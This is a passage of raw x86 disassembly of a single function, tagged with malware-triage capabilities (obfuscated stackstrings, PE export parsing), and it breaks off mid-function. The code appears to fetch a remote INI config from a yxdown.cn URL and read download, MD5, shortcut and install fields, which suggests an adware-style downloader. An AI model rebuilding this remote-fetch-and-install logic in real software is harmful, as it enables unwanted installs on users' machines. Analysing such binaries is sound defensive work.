Function at 0x40afd0
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x491a0d
mov eax, dword fs:[0]
push eax
sub esp, 0xc8
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4b5a50]
xor eax, esp
push eax
lea eax, [esp + 0xdc]
mov dword fs:[0], eax
push ecx
mov ecx, esp
mov dword [esp + 0xa4], esp
push str.http:__azads.yxdown.cn_201410_service1.ini
call fcn.00401600
lea eax, [esp + 0x24]
push eax
call fcn.0041d440
add esp, 8
mov dword [esp + 0xe4], 0
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b043
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x70], eax
mov byte [esp + 0xe4], 1
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b075
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa0], eax
mov byte [esp + 0xe4], 2
mov eax, dword [esp + 0x20]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0xa8], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xec], 3
mov ecx, esp
mov dword [esp + 0x20], esp
push str.number
lea esi, [esp + 0x7c]
call fcn.00401600
push ecx
mov byte [esp + 0xf0], 4
mov ecx, esp
mov dword [esp + 0x3c], esp
push str.yxdown
call fcn.00401600
mov byte [esp + 0xf0], 2
call fcn.0041d870
mov ecx, dword [esp + 0x7c]
add esp, 0xc
push ecx
call fcn.0045d3c7
mov esi, eax
add esp, 4
mov dword [esp + 0xa4], esi
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b121
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x34], eax
mov byte [esp + 0xe4], 5
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b153
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x28], eax
mov byte [esp + 0xe4], 6
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b185
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x40], eax
mov byte [esp + 0xe4], 7
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b1b7
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x38], eax
mov byte [esp + 0xe4], 8
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b1e9
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x2c], eax
mov byte [esp + 0xe4], 9
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b21b
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x3c], eax
mov byte [esp + 0xe4], 0xa
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b24d
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x68], eax
mov byte [esp + 0xe4], 0xb
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b27f
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x60], eax
mov byte [esp + 0xe4], 0xc
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b2b1
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x58], eax
mov byte [esp + 0xe4], 0xd
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b2e3
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x50], eax
mov byte [esp + 0xe4], 0xe
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b315
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x30], eax
mov byte [esp + 0xe4], 0xf
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b347
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x80], eax
mov byte [esp + 0xe4], 0x10
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b37c
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x74], eax
mov byte [esp + 0xe4], 0x11
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b3ae
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x78], eax
mov byte [esp + 0xe4], 0x12
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b3e0
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x6c], eax
mov byte [esp + 0xe4], 0x13
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b412
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x94], eax
mov byte [esp + 0xe4], 0x14
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b447
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x44], eax
mov byte [esp + 0xe4], 0x15
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b479
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x84], eax
mov byte [esp + 0xe4], 0x16
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b4ae
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x5c], eax
mov byte [esp + 0xe4], 0x17
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b4e0
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x8c], eax
mov byte [esp + 0xe4], 0x18
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b515
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x54], eax
mov byte [esp + 0xe4], 0x19
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b547
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x88], eax
mov byte [esp + 0xe4], 0x1a
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b57c
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x4c], eax
mov byte [esp + 0xe4], 0x1b
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b5ae
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x7c], eax
mov byte [esp + 0xe4], 0x1c
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b5e0
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x98], eax
mov byte [esp + 0xe4], 0x1d
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b615
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x90], eax
mov byte [esp + 0xe4], 0x1e
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b64a
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x48], eax
mov byte [esp + 0xe4], 0x1f
call fcn.0043e9ec
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b67c
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x64], eax
lea ecx, [esp + 0x9c]
push ecx
mov byte [esp + 0xe8], 0x20
call fcn.0040f090
mov ebp, 1
cmp esi, ebp
jl 0x40c093
mov edi, edi
lea esi, [esp + 0xa8]
call fcn.00402390
push ebp
lea edx, [esp + 0x70]
push str.pr_durl
mov bl, 0x22
push edx
mov byte [esp + 0xf0], bl
call fcn.00411ee0
add esp, 0xc
push ebp
lea eax, [esp + 0x98]
push str.pr_dmd5
push eax
call fcn.00411ee0
add esp, 0xc
push ebp
lea ecx, [esp + 0x48]
push str.pr_dmain
push ecx
call fcn.00411ee0
add esp, 0xc
push ebp
lea edx, [esp + 0x60]
push str.pr_dchina
push edx
call fcn.00411ee0
add esp, 0xc
push ebp
lea eax, [esp + 0x88]
push str.pr_dopen
push eax
call fcn.00411ee0
add esp, 0xc
push ebp
lea ecx, [esp + 0x80]
push str.pr_dpostion
push ecx
call fcn.00411ee0
add esp, 0xc
push ebp
lea edx, [esp + 0x90]
push str.pr_dtaskbar
push edx
call fcn.00411ee0
add esp, 0xc
push ebp
lea eax, [esp + 0x58]
push str.pr_dparam
push eax
call fcn.00411ee0
add esp, 0xc
push ebp
lea ecx, [esp + 0x8c]
push str.pr_dLnk
push ecx
call fcn.00411ee0
add esp, 0xc
push ebp
lea edx, [esp + 0x50]
push str.pr_dlnkpath
push edx
call fcn.00411ee0
add esp, 0xc
push ebp
lea eax, [esp + 0x9c]
push str.pr_dpro
push eax
call fcn.00411ee0
add esp, 0xc
push ebp
lea ecx, [esp + 0x4c]
push str.pr_darea
push ecx
call fcn.00411ee0
add esp, 0xc
push ebp
push str.pr_dkid
lea edx, [esp + 0x98]
push edx
call fcn.00411ee0
add esp, 0xc
push ebp
lea eax, [esp + 0x68]
push str.pr_dinstall
push eax
call fcn.00411ee0
mov esi, dword [esp + 0x2c]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x28], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x40b817
cmp eax, dword [esi]
jne 0x40b817
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x40b852
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x40c5cd
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.0045d0bb
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xe8], 0x23
mov edi, dword [esp + 0x70]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x20], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x40b897
cmp eax, dword [edi]
jne 0x40b897
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x40b8d2
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x40c5cd
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.0045d0bb
add esp, 0x10
mov ecx, dword [esp + 0x20]
add esi, 0x10
mov dword [ecx], esi
push ecx
mov byte [esp + 0xf0], 0x24
mov ecx, esp
mov dword [esp + 0x24], esp
push str.yxdown
call fcn.00401600
lea esi, [esp + 0x48]
mov byte [esp + 0xf0], bl
call fcn.0041d870
mov edx, dword [esp + 0x48]
add esp, 0xc
cmp dword [edx - 0xc], 0
je 0x40c079
mov eax, dword [esp + 0x20]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xec], 0x25
mov eax, dword [esp + 0x9c]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x6c]
call fcn.00401e30
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xf0], 0x26
mov ecx, esp
mov dword [esp + 0x24], esp
push str.yxdown
call fcn.00401600
mov byte [esp + 0xf0], bl
call fcn.0041d870
mov eax, dword [esp + 0x2c]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xec], 0x27
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x5c]
call fcn.00401e30
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xf0], 0x28
mov ecx, esp
mov dword [esp + 0x24], esp
push str.yxdown
call fcn.00401600
mov byte [esp + 0xf0], bl
call fcn.0041d870
mov eax, dword [esp + 0x2c]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xec], 0x29
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x74]
call fcn.00401e30
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xf0], 0x2a
mov ecx, esp
mov dword [esp + 0x24], esp
push str.yxdown
call fcn.00401600
mov byte [esp + 0xf0], bl
call fcn.0041d870
mov eax, dword [esp + 0x2c]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xec], 0x2b
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x64]
call fcn.00401e30
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xf0], 0x2c
mov ecx, esp
mov dword [esp + 0x24], esp
push str.yxdown
call fcn.00401600
mov byte [esp + 0xf0], bl
call fcn.0041d870
mov eax, dword [esp + 0x2c]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xec], 0x2d
mov eax, dword [esp + 0x8c]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x40]
call fcn.00401e30
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xf0], 0x2e
mov ecx, esp
mov dword [esp + 0x24], esp
push str.yxdown
call fcn.00401600
mov byte [esp + 0xf0], bl
call fcn.0041d870
mov eax, dword [esp + 0x2c]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xec], 0x2f
mov eax, dword [esp + 0x94]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x34]
call fcn.00401e30
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xf0], 0x30
mov ecx, esp
mov dword [esp + 0x24], esp
push str.yxdown
call fcn.00401600
mov byte [esp + 0xf0], bl
call fcn.0041d870
mov eax, dword [esp + 0x2c]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xec], 0x31
mov eax, dword [esp + 0x90]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x4c]
call fcn.00401e30
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xf0], 0x32
mov ecx, esp
mov dword [esp + 0x24], esp
push str.yxdown
call fcn.00401600
mov byte [esp + 0xf0], bl
call fcn.0041d870
mov eax, dword [esp + 0x2c]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xec], 0x33
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x44]
call fcn.00401e30
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xf0], 0x34
mov ecx, esp
mov dword [esp + 0x24], esp
push str.yxdown
call fcn.00401600
mov byte [esp + 0xf0], bl
call fcn.0041d870
mov eax, dword [esp + 0x2c]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xec], 0x35
mov eax, dword [esp + 0x84]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x38]
call fcn.00401e30
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xf0], 0x36
mov ecx, esp
mov dword [esp + 0x24], esp
push str.yxdown
call fcn.00401600
mov byte [esp + 0xf0], bl
call fcn.0041d870
mov eax, dword [esp + 0x2c]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xec], 0x37
mov eax, dword [esp + 0xa0]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x3c]
call fcn.00401e30
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xf0], 0x38
mov ecx, esp
mov dword [esp + 0x24], esp
push str.yxdown
call fcn.00401600
mov byte [esp + 0xf0], bl
call fcn.0041d870
mov eax, dword [esp + 0x2c]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xec], 0x39
mov eax, dword [esp + 0x50]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x80]
call fcn.00401e30
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xf0], 0x3a
mov ecx, esp
mov dword [esp + 0x24], esp
push str.yxdown
call fcn.00401600
mov byte [esp + 0xf0], bl
call fcn.0041d870
mov eax, dword [esp + 0x2c]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xec], 0x3b
mov eax, dword [esp + 0x98]
lea esi, [esp + 0x88]
mov dword [esp + 0x2c], esp
mov edi, esp
add eax, 0xfffffff0
push eax
call fcn.00401e30
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xf0], 0x3c
mov ecx, esp
mov dword [esp + 0x24], esp
push str.yxdown
call fcn.00401600
mov byte [esp + 0xf0], bl
call fcn.0041d870
mov eax, dword [esp + 0x2c]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xec], 0x3d
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x84]
call fcn.00401e30
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xf0], 0x3e
mov ecx, esp
mov dword [esp + 0x24], esp
push str.yxdown
call fcn.00401600
mov byte [esp + 0xf0], bl
call fcn.0041d870
mov eax, dword [esp + 0x3c]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.0042e240
add esp, 4
test eax, eax
jne 0x40c079
mov eax, dword [esp + 0x9c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xec], 0x3f
mov eax, dword [esp + 0x7c]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
mov dword [esi], eax
add esp, 4
mov byte [esp + 0xec], bl
call fcn.0042e4f0
add esp, 8
test eax, eax
jne 0x40c079
mov eax, dword [esp + 0x78]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401e30
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.0040fab0
test eax, eax
jne 0x40c079
lea ebx, [esp + 0x3c]
call fcn.00411080
mov ebx, eax
call fcn.00411100
push eax
lea ecx, [esp + 0xb0]
call fcn.00401b30
lea ebx, [esp + 0x60]
call fcn.00411080
mov ebx, eax
call fcn.00411100
push eax
lea ecx, [esp + 0xbc]
call fcn.00401b30
lea ebx, [esp + 0x50]
call fcn.00411080
mov ebx, eax
call fcn.00411100
push eax
lea ecx, [esp + 0xb8]
call fcn.00401b30
lea ebx, [esp + 0x68]
call fcn.00411080
mov ebx, eax
call fcn.00411100
push eax
lea ecx, [esp + 0xac]
call fcn.00401b30
lea ebx, [esp + 0x58]
call fcn.00411080
mov ebx, eax
call fcn.00411100
push eax
lea ecx, [esp + 0xc0]
call fcn.00401b30
lea ebx, [esp + 0x34]
call fcn.00411080
mov ebx, eax
call fcn.00411100
lea ebx, [esp + 0x28]
call fcn.00411080
mov ebx, eax
call fcn.00411100
lea ebx, [esp + 0x40]
call fcn.00411080
mov ebx, eax
call fcn.00411100
lea ebx, [esp + 0x38]
call fcn.00411080
mov ebx, eax
call fcn.00411100
lea ebx, [esp + 0x2c]
call fcn.00411080
mov ebx, eax
call fcn.00411100
mov eax, dword [esp + 0x34]
push eax
call fcn.0045d3c7
mov ecx, dword [esp + 0x2c]
add esp, 4
push ecx
mov dword [esp + 0xcc], eax
call fcn.0045d3c7
mov edx, dword [esp + 0x44]
add esp, 4
push edx
mov dword [esp + 0xd4], eax
call fcn.0045d3c7
mov dword [esp + 0xd0], eax
mov eax, dword [esp + 0x3c]
add esp, 4
push eax
call fcn.0045d3c7
mov ecx, dword [esp + 0x30]
add esp, 4
push ecx
mov dword [esp + 0xd8], eax
call fcn.0045d3c7
add esp, 4
mov dword [esp + 0xc4], eax
lea edx, [esp + 0x80]
push edx
lea ecx, [esp + 0xc4]
call fcn.00401b30
mov edi, dword [esp + 0xec]
mov esi, dword [edi + 0x204]
add edi, 0x1fc
test esi, esi
jl 0x40c5d2
lea ecx, [esi + 1]
or eax, 0xffffffff
call fcn.00412120
lea esi, [esi + esi*2]
shl esi, 4
add esi, dword [edi + 4]
lea edi, [esp + 0xa8]
call fcn.00412ef0
lea eax, [esp + 0xa8]
call fcn.0040c5e0
inc ebp
cmp ebp, dword [esp + 0xa4]
jle 0x40b6b0
mov byte [esp + 0xe4], 0x20
mov eax, dword [esp + 0x9c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c0be
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0x1f
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c0e6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0x1e
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c10e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0x1d
mov eax, dword [esp + 0x90]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c139
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0x1c
mov eax, dword [esp + 0x98]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c164
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0x1b
mov eax, dword [esp + 0x7c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c18c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0x1a
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c1b4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0x19
mov eax, dword [esp + 0x88]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c1df
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0x18
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c207
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0x17
mov eax, dword [esp + 0x8c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c232
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0x16
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c25a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0x15
mov eax, dword [esp + 0x84]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c285
mov ecx, dword [eax]
mov edx, dword [ecx]
